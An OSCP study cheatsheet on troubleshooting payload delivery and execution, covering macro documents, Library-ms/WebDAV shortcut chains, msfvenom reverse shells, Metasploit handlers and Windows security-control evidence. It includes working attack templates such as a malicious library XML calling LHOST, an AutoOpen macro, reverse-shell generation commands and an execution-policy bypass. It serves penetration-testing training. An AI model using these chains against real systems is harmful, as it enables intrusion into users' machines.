OSCP Reference

10.7 Payload Execution Obstacles Cheatsheet

Payload delivered but no session?

Find the last verified state in the delivery-to-session chain.

Start the first checks →
Have a specific failure?

Use runtime, parser and security-control evidence to select the next test.

Follow the finding →

← Cheatsheet index | Full procedure | Shells and payloads | Pivoting | Strategy map | Study methods: Resolve payload execution obstacles

10.7.1 Record your current identity, access and reachable resources State ladder

delivery → trigger → parser/loader → execution → connection → handler → session

Preserve the last confirmed state. Change only the next failed boundary.

EvidenceNext question
File/request arrivedDid the intended consumer open/parse it?
User/service triggered itDid a harmless command execute?
Marker/process existsCan that context reach the listener?
TCP connection arrivedDoes the handler match the payload?
Session openedWhat host, identity, architecture and privilege?

10.7.2 Establish the current state and choose your first useful check First-pass triage

Run/context: artifact generation and listeners belong to the testing workstation; delivery, process execution and security-control evidence must be checked on the selected host. Decide: identify the last independently verified state using the state ladder. Diagnose the failed boundary before regenerating; a callback problem belongs to session/route checks.

  1. Prove a harmless direct command.
  2. Verify final artifact path and hash.
  3. Write every parser/interpreter/loader.
  4. Match OS, process bitness, format and dependencies.
  5. Check permissions, working directory and explicit policy/control evidence.
  6. Verify listener bind and target-to-listener route.
  7. Match staged/stageless payload and handler.
  8. Repair session I/O last.

10.7.3 Check the conditions required for a document macro to execute Office macro gates

Use .docm or legacy .doc; .docx alone does not persist embedded VBA. Store the macro in the document.

Harmless trigger proof:

Sub AutoOpen()
    RunProof
End Sub

Sub Document_Open()
    RunProof
End Sub

Sub RunProof()
    CreateObject("WScript.Shell").Run _
        "cmd.exe /c whoami > %TEMP%\oscp-marker.txt", 0, True
End Sub

Zone inspection:

Get-Item -LiteralPath 'C:\PATH\FILE.docm' -Stream *
Get-Content -LiteralPath 'C:\PATH\FILE.docm' -Stream Zone.Identifier

Check in order:

format → macro saved in document → MOTW/zone → Protected View/Trust/GPO
→ required user action → Office child process → command parsing → network path

Internet-sourced macros are commonly blocked by default. “Enable Content” is not a universal current path.

10.7.4 Validate each delivery and execution step in the Library-file chain Windows Library file chain

.Library-ms → Explorer/WebDAV → .lnk → command → optional download → callback

WsgiDAV, when already installed:

mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Port 80 is the plain-HTTP Windows WebDAV baseline. An alternate port needs target-side WebClient and route validation.

Minimal library definition:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation><url>http://LHOST/</url></simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Controlled shortcut creation:

$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut('C:\PATH\webdav\ACTION.lnk')
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()
ObservationCheck next
Empty libraryWebDAV bind/route/WebClient/policy/serialized state
No WebDAV requestUser action, URL, route or blocked DAV
Directory visible; no commandSecond user action or shortcut control
Marker exists; no downloadQuoting, DNS or delivery-server route
Download exists; no callbackFormat/control/handler/return route

10.7.5 Check whether the artifact can execute in the Linux environment Linux compatibility

uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT
ErrorLikely boundary
Exec format errorOS/architecture/interpreter format
Permission deniedexecute/parent rights, noexec, identity or policy
No such file but file existsdynamic loader or shebang interpreter
shared object missingruntime dependency
^M in shebangCRLF altered interpreter path
works interactively, not cron/serviceenvironment, cwd, identity, shell or route

10.7.6 Check whether the artifact matches the Windows execution environment Windows compatibility

Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture
[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature 'C:\PATH\PAYLOAD.exe'

Match the consumer:

direct process → compatible PE/script/runtime
service        → service-aware program or expected 1053 behavior
DLL            → process bitness + exports + dependencies
MSI            → real MSI package
PowerShell     → edition/syntax + policy/control state
existing PoC   → documented space/bad chars/exit behavior

10.7.7 Locate the parser layer that changes your PowerShell command PowerShell quoting

$command = 'COMMAND'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

UTF-16LE Base64 solves a transport/quoting problem. It is not encryption or an AV bypass.

10.7.8 Diagnose the specific security control that interrupted execution Security-control evidence

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,
    IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml
Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Process-scoped execution-policy invocation, when applicable:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

This does not disable AMSI, Defender, AppLocker/WDAC, permissions or GPO.

EvidenceInterpretation
Hash differsTransfer/encoding failure
File vanishesInspect quarantine/detection resource
Process deniedApplication control, permissions or parent policy
Script-policy errorExecution policy scope/precedence
Explicit content blockAMSI/AV candidate, not a route failure
Starts then exitsCrash, dependency, bitness or exit behavior
Runs; no SYNLHOST/egress/callback command
Handshake then closesHandler mismatch, blocked stage or crash

10.7.9 Generate a payload that matches the platform, consumer and connection path msfvenom

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options
msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell.exe
file shell.elf shell.exe
sha256sum shell.elf shell.exe

Existing-PoC constraints only:

msfvenom -p PAYLOAD_NAME LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE
shell_reverse_tcp = stageless/single
shell/reverse_tcp = staged; exact framework handler required

Encoders address representation/bad-character needs; they do not guarantee AV evasion.

10.7.10 Pair the payload with its expected handler and verify the session lifecycle multi/handler and sessions

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

Generated payload and handler must match exact payload name, transport, LHOST and LPORT.

10.7.11 Validate module prerequisites and observe the current exam limits Restricted Metasploit module workflow

search type:exploit cve:CVE_ID
info MODULE_PATH
use MODULE_PATH
show options
show advanced
show targets
show payloads
set RHOSTS TARGET
set RPORT PORT
set TARGET TARGET_ID
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show missing
run

Exam boundary:

  • msfvenom and multi/handler are the across-target exceptions, but Meterpreter remains one-target limited.
  • Auxiliary, Exploit or Post modules—or Meterpreter—lock Metasploit to one chosen target even when check or an attempt fails.
  • Metasploit pivoting and automatic exploitation are prohibited.
  • Module rank is stability guidance, not vulnerability proof.

10.7.12 Packet/session interpretation

sudo tcpdump -ni any tcp port LPORT
EvidenceNext action
No SYNRepair execution, LHOST, route or egress
SYN, no replyCorrect listener bind/local firewall
Handshake then closeMatch payload/handler; inspect crash/control
Stable TCP, no commandsCheck staged/raw mismatch and I/O
Session opens then diesParent lifetime, EXITFUNC, crash or control

10.7.13 Continue with the capability your result enables Handoff

10.7.14 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.7.14.1 Resolve payload execution obstacles

10.7.14.1.1 Find: Use a gated Office macro delivery chain

From the assigned client-side scenario identify the actual Office consumer, required open/enable interaction and file-origin policy before investigating callbacks.

Get-Item .\FILE -Stream *
Get-Content .\FILE -Stream Zone.Identifier -ErrorAction SilentlyContinue

Recognize: Internet-origin metadata and absent macro execution localize an earlier gate than network connectivity.

Validate next: Check compatible Office, actual macro/user trigger and applicable policy; a delivered/opened document is not execution.

Use a gated Office macro delivery chain.

10.7.14.1.2 Find: Use a Windows Library/WebDAV/shortcut chain with explicit interaction

Inspect the actual Library XML, remote resource and shortcut properties from the assigned delivery scenario; distinguish browsing from launching.

Get-Content .\FILE.library-ms
Test-NetConnection LHOST -Port PORT

Recognize: The resource can be presented while the executable user interaction is still absent.

Validate next: Verify compatible WebDAV/Library handling, actual shortcut target/launch, policy and its command effect.

Use a Windows Library/WebDAV/shortcut chain with explicit interaction.

10.7.14.1.3 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

A .Library-ms file is an XML library description that can present a remote location in Explorer. The PEN-200 attack pattern is two-stage:

delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory:

mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Anonymous mode exposes the selected directory. Bind only to the required lab interface when possible, place no sensitive files there and stop the server after the exercise. Port 80 is the reliable baseline for a plain-HTTP Windows WebDAV location. Use another port only after confirming the target WebClient accepts that URL form and the route permits it.

Original library template using placeholders:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

Create a shortcut on a controlled Windows preparation host:

$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Failure cues:

ObservationNext boundary
Library opens emptyWebDAV bind, reachability, WebClient/policy, modified library serialization
WebDAV receives nothingArtifact not opened, URL/port wrong, client route or WebDAV blocked
Directory appears; shortcut never runsRequired second user action absent or shortcut blocked
Marker works; download absentCommand quoting, DNS and payload-server route
Download occurs; no executionFormat, permissions, policy, quarantine or dependency
Execution proven; no callbackListener, route, payload/handler compatibility

Verify: Verify the launched command's identity/effect and distinguish WebDAV requests from execution.

If it fails: Unavailable WebDAV client, blocked remote path, missing shortcut interaction or policy can stop the chain before a callback.

10.7.14.1.4 Find: Match an artifact to its executable consumer and runtime

Inspect a transferred/generated artifact's bytes, executable format and required consumer/loader before interpreting runtime errors.

file FILE
sha256sum FILE
readelf -l FILE 2>/dev/null
uname -m

Recognize: An existing file can fail because its loader/runtime is missing; this is separate from callback failure.

Validate next: Verify exact architecture, loader/runtime, permissions, mount policy, line endings and integrity.

Match an artifact to its executable consumer and runtime.

10.7.14.1.5 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

The file extension is not the execution contract. Record all of these:

target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol
10.7.14.1.5.1 Check whether the artifact can execute in the Linux environment Linux checks
uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT

Common interpretations:

  • Exec format error: wrong format/architecture or invalid interpreter line;
  • Permission denied: missing execute permission, inaccessible parent directory, noexec, policy or identity issue;
  • No such file or directory when the file exists: missing dynamic loader or broken shebang interpreter;
  • missing shared object: runtime library mismatch;
  • ^M in a shebang: CRLF line endings changed the interpreter path;
  • works interactively but not through cron/service: environment, working directory, shell, identity or route differs.
10.7.14.1.5.2 Check whether the artifact matches the Windows execution environment Windows checks
Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

ConsumerRequired property / common failure
Direct process creationCompatible PE/ELF/script and dependencies
Windows serviceService-compatible entry/control behavior; error 1053 may follow execution of a non-service program
DLL loader/hijackCorrect bitness, expected exports and dependency behavior
msiexecValid MSI package, not an EXE renamed .msi
PowerShellValid syntax, edition/runtime compatibility and applicable policy/control state
Existing memory-corruption PoCDocumented architecture, space, bad characters and exit behavior

Verify: Verify matching bytes, consumer and actual minimal execution effect; on Windows inspect PE architecture/runtime and resulting process.

If it fails: Permission, mount policy, CRLF/shebang, missing runtime and architecture mismatches require different fixes.

10.7.14.1.6 Find: Repair quoting, encoding and command-length boundaries

Compare the last working simple command with the first added quoting/encoding layer; record which parser receives each representation.

curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH

Recognize: The break follows a shell-language/representation change, so network or exploit applicability need not have changed.

Validate next: Confirm outer decoding, actual inner shell, length and correct byte/string encoding with a small test.

Repair quoting, encoding and command-length boundaries.

10.7.14.1.7 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Known outer request/template/database parser and inner shell; correct character encoding and transport length

Write the real chain:

document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

Start with a short marker at every layer. Check:

  • quote ownership at each layer;
  • expansion of %VAR%, $VAR and PowerShell variables;
  • metacharacters such as &, |, <, >, ;, backticks and parentheses;
  • URL/JSON/XML/Base64 decode count;
  • command-line, VBA-string, request-field or exploit-buffer length;
  • current directory and relative paths.

PowerShell encoded-command preparation:

$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

-EncodedCommand uses UTF-16LE. It solves some transport/quoting problems; it is not encryption and does not establish antimalware evasion.

Write the parser chain explicitly:

HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Test each layer with a small command. Encode only for the layer that consumes the characters:

python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Typical failures:

  • &, |, >, <, $, backticks, quotes or spaces consumed by an outer shell;
  • URL decoding occurs zero, one or two times;
  • JSON, XML, SQL or template quoting changes the command;
  • PowerShell receives UTF-8 Base64 instead of required UTF-16LE;
  • payload length exceeds a field, command line or exploit buffer;
  • 32-bit payload is injected into a 64-bit context or the reverse.

Verify: Verify received/executed command behavior at each parser boundary with small discriminating tests.

If it fails: Truncation, double decoding or mismatched shell syntax should not be treated as missing network connectivity.

10.7.14.1.8 Find: Distinguish PowerShell policy, language mode and protected execution layers

Use the failing PowerShell error to inspect execution policy, language mode and actual runtime before choosing an allowed execution form.

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode
$PSVersionTable

Recognize: A script policy gate is distinct from language-mode restrictions or an antimalware verdict.

Validate next: Identify the actual controlling policy and permitted execution path; encoding/policy arguments do not remove unrelated controls.

Distinguish PowerShell policy, language mode and protected execution layers.

10.7.14.1.9 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Do not merge these different controls:

ControlWhat it changesUseful evidence
Execution policyConditions for loading/running scriptsGet-ExecutionPolicy -List and exact error
Language modeAvailable PowerShell language features$ExecutionContext.SessionState.LanguageMode
AMSISubmits supported script/content to antimalwareExplicit block/error plus Defender/PowerShell events
AppLocker/WDACApplication/script allow policyEffective policy and application-control events
Defender/other AVFile, memory, behavior and network decisionsStatus, detection history, quarantine/events
PermissionsFile/process/service/token rightsAccess-denied result under named identity

Read-only checks:

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Cmdlets, logs and fields vary by edition, installed modules, permissions and control product. Missing output is inconclusive.

Execution policy is defense in depth, not a Windows security boundary. A process-scoped policy setting may change script-loading behavior when GPO does not override it:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

This does not disable AMSI, application control, antimalware, permissions or network controls. Do not change persistent machine/user policy merely to test a payload.

Verify: Record the exact failing layer and demonstrate the chosen permitted operation's actual effect.

If it fails: A language-mode error, antimalware block and script policy message require different next decisions.

10.7.14.1.10 Find: Interpret endpoint-control evidence and select a justified alternative

Check artifact persistence/hash and, when permitted, the matching security/policy event before labelling a missing effect as endpoint detection.

Test-Path .\FILE
Get-FileHash .\FILE -Algorithm SHA256 -ErrorAction SilentlyContinue

Recognize: A disappearing artifact narrows the boundary but does not identify a particular control without corroboration.

Validate next: Correlate file/process/event identity, time and exact action before selecting an alternative consumer.

Interpret endpoint-control evidence and select a justified alternative.

10.7.14.1.11 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold

ObservationMost useful next action
Transferred hash differsRepair transfer/encoding before execution
File arrives then vanishesInspect quarantine/detection events and resource path
File remains; process creation deniedInspect AppLocker/WDAC, permissions and parent process
Script-loading policy errorInspect scope/precedence; use an authorized process-only invocation if applicable
Explicit AMSI/content blockTreat content/control as confirmed; encoding alone is not a supported conclusion
Process starts then exitsCapture exit/error, dependency and architecture evidence
Process remains; no connectionTest target egress, LHOST and listener
TCP handshake then closeHandler/payload mismatch, stage failure, crash or control interruption

Modern protection can inspect files, scripts after decoding, process memory, behavior and network activity. Therefore:

  • changing a filename does not imply a new payload;
  • Base64 does not imply concealment from AMSI;
  • an in-memory technique is not automatically invisible;
  • an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
  • a clean third-party scanner result does not prove execution on the target and may disclose a private sample.

Prefer the least complex route already supported by evidence: a direct command, native interpreter, authenticated management service or simple command shell may meet the objective without a custom binary. Deep shellcode development, process-injection implementation and generalized AV-bypass recipes are outside this speedrun.

Windows Defender status, when the current identity can query it:

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

Do not label every failure “AV.” Differentiate:

  • file never arrived or hashes differ;
  • file arrived and disappeared/quarantined;
  • process creation was denied;
  • script content was blocked;
  • process started and exited/crashed;
  • callback was blocked after execution;
  • application-control or language-mode restrictions;
  • ordinary format, architecture, permission or dependency errors.

Prefer an already available native or authenticated route when it satisfies the objective. Encoding is transport representation, not proof of evasion. Custom shellcode development and deep AV-bypass work are outside this unit.

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

Verify: Tie the observed block to the artifact/process and preserve the exact error/event context privately.

If it fails: No event visibility leaves the diagnosis inconclusive. Deep control-bypass development is not added through troubleshooting.

10.7.14.1.12 Find: Pair staged payloads with the correct handler and session lifecycle

In the selected handler console compare the exact payload/options with the generated artifact and inspect job/session state.

show options
jobs
sessions

Recognize: The first-stage protocol may be reaching a receiver that cannot provide the remaining stage.

Validate next: Verify exact payload/architecture/transport pair, listener bind, stage route and lifecycle.

Pair staged payloads with the correct handler and session lifecycle.

10.7.14.1.13 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Baseline stageless command shells:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

Existing reviewed PoC with documented byte restrictions:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Staging distinction:

windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.

Matching handler:

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

Manage the resulting job/session deliberately:

jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Handler failure cues:

OutputInterpretation
Handler never bindsBad local address, occupied port or privilege issue
Raw listener receives connection; framework does notDifferent port/interface or payload transport
Handler receives connection but no sessionExact payload/stager mismatch, stage blocked or crash
Session opens then diesParent exits, payload exit behavior, route/control or process crash
Session opens as unexpected architecture/typeDefault payload or target was not explicitly selected

Verify: Verify the resulting session's host/identity and keep the listener/payload relationship explicit.

If it fails: Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom.

10.7.14.1.14 Find: Use a framework module with explicit target and feature constraints

Read the selected module's information/targets/options and compare them with independently gathered component evidence before any target check/run.

info
show options
show targets
show payloads

Recognize: The module describes conditions to investigate; its existence is not a vulnerability result.

Validate next: Verify exact target/configuration, access, payload/route and current feature restrictions before selecting it.

Use a framework module with explicit target and feature constraints.

10.7.14.1.15 Find: Diagnose connection direction, listener and session failures in order

Return to the last observed execution proof, inspect listener bind/address and compare actual packet arrival with the expected direction.

ss -lnt
ip route get TARGET
sudo tcpdump -ni INTERFACE tcp port PORT

Recognize: The channel failed before an observed connection; investigate trigger/advertised route/egress before terminal repair.

Validate next: Name the process initiating the connection and its actual destination address/port. Check the listener bind and each route/pivot leg; if delivery works but no callback arrives, repair the return path before changing payload bytes.

Diagnose connection direction, listener and session failures in order.

10.7.14.1.16 Commands and use-case variants

Need: A recorded delivery/execution chain with the expected consumer and effect. A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

  1. Delivery: prove the request/file/argument reaches the intended consumer.
  2. Execution: prove id/whoami, hostname or a bounded side effect in the exact context.
  3. Parser: verify quoting, encoding, interpreter, working directory and length.
  4. Payload: confirm OS, architecture, format, staged/stageless type and dependencies.
  5. Listener: start it first and verify the bound address and port.
  6. Route: test target-to-listener reachability from the execution context.
  7. Security control: use concrete errors, quarantine, logs or process behavior.
  8. Session: repair TTY, buffering, encoding and job control after connection.

Target-side route checks where available:

nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering:

sudo tcpdump -ni any tcp port LPORT

Interpretation:

ObservationNext decision
No SYN reaches KaliWrong execution, LHOST, route, egress or earlier parser layer
SYN arrives; no listener responseWrong bind/interface/port or local firewall
TCP handshake then immediate closePayload/handler mismatch, crash or security control
Connection stays but no commandsStaged/raw mismatch, buffering or I/O/session issue
  1. Reproduce a harmless direct command in the exact vulnerable or user context.
  2. Confirm file/request integrity, final path and consumer.
  3. Identify every parser, interpreter and loader.
  4. Match target OS, process architecture, artifact format and runtime dependencies.
  5. Verify permissions, working directory, execution policy and application-control evidence.
  6. Start the correct listener/handler and prove its bind.
  7. Prove the target-to-listener route separately.
  8. Inspect concrete antimalware, application-control and process-failure evidence.
  9. Repair session I/O only after a connection exists.

If step 1 fails, this is not yet a payload problem. Return to the exploit, input parser or execution primitive.

10.7.14.1.16.1 A. Document delivered, no callback
Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first
10.7.14.1.16.2 B. Executable disappears after transfer
Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope
10.7.14.1.16.3 C. PowerShell says scripts are disabled
Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result
10.7.14.1.16.4 D. Connection reaches Netcat but there is no shell
Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell
10.7.14.1.16.5 E. Binary exists but returns “not found” on Linux
Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings
10.7.14.1.16.6 F. Metasploit module reports completion, no session
Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state
artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session
BoundaryDecisive evidenceDoes not prove
DeliveryExpected bytes, request, document or shortcut arrives intactIt was opened or parsed
TriggerIntended user/service/parser consumed itChild process started
ExecutionHarmless marker, process or command outputCallback route works
ConnectionExpected peer reaches listenerPayload and handler agree
SessionCommands return; host and identity verifiedStability or privilege

Do not replace the artifact, payload, listener and route simultaneously. Record the last confirmed boundary and test the next one.

Verify: Use command proof, packet evidence and actual channel behavior to identify the first failed boundary.

If it fails: A timeout alone is inconclusive. Return to the original trigger if execution is unproved; use handler/TTY repair only after the prior state is confirmed.


Top of document · Reference home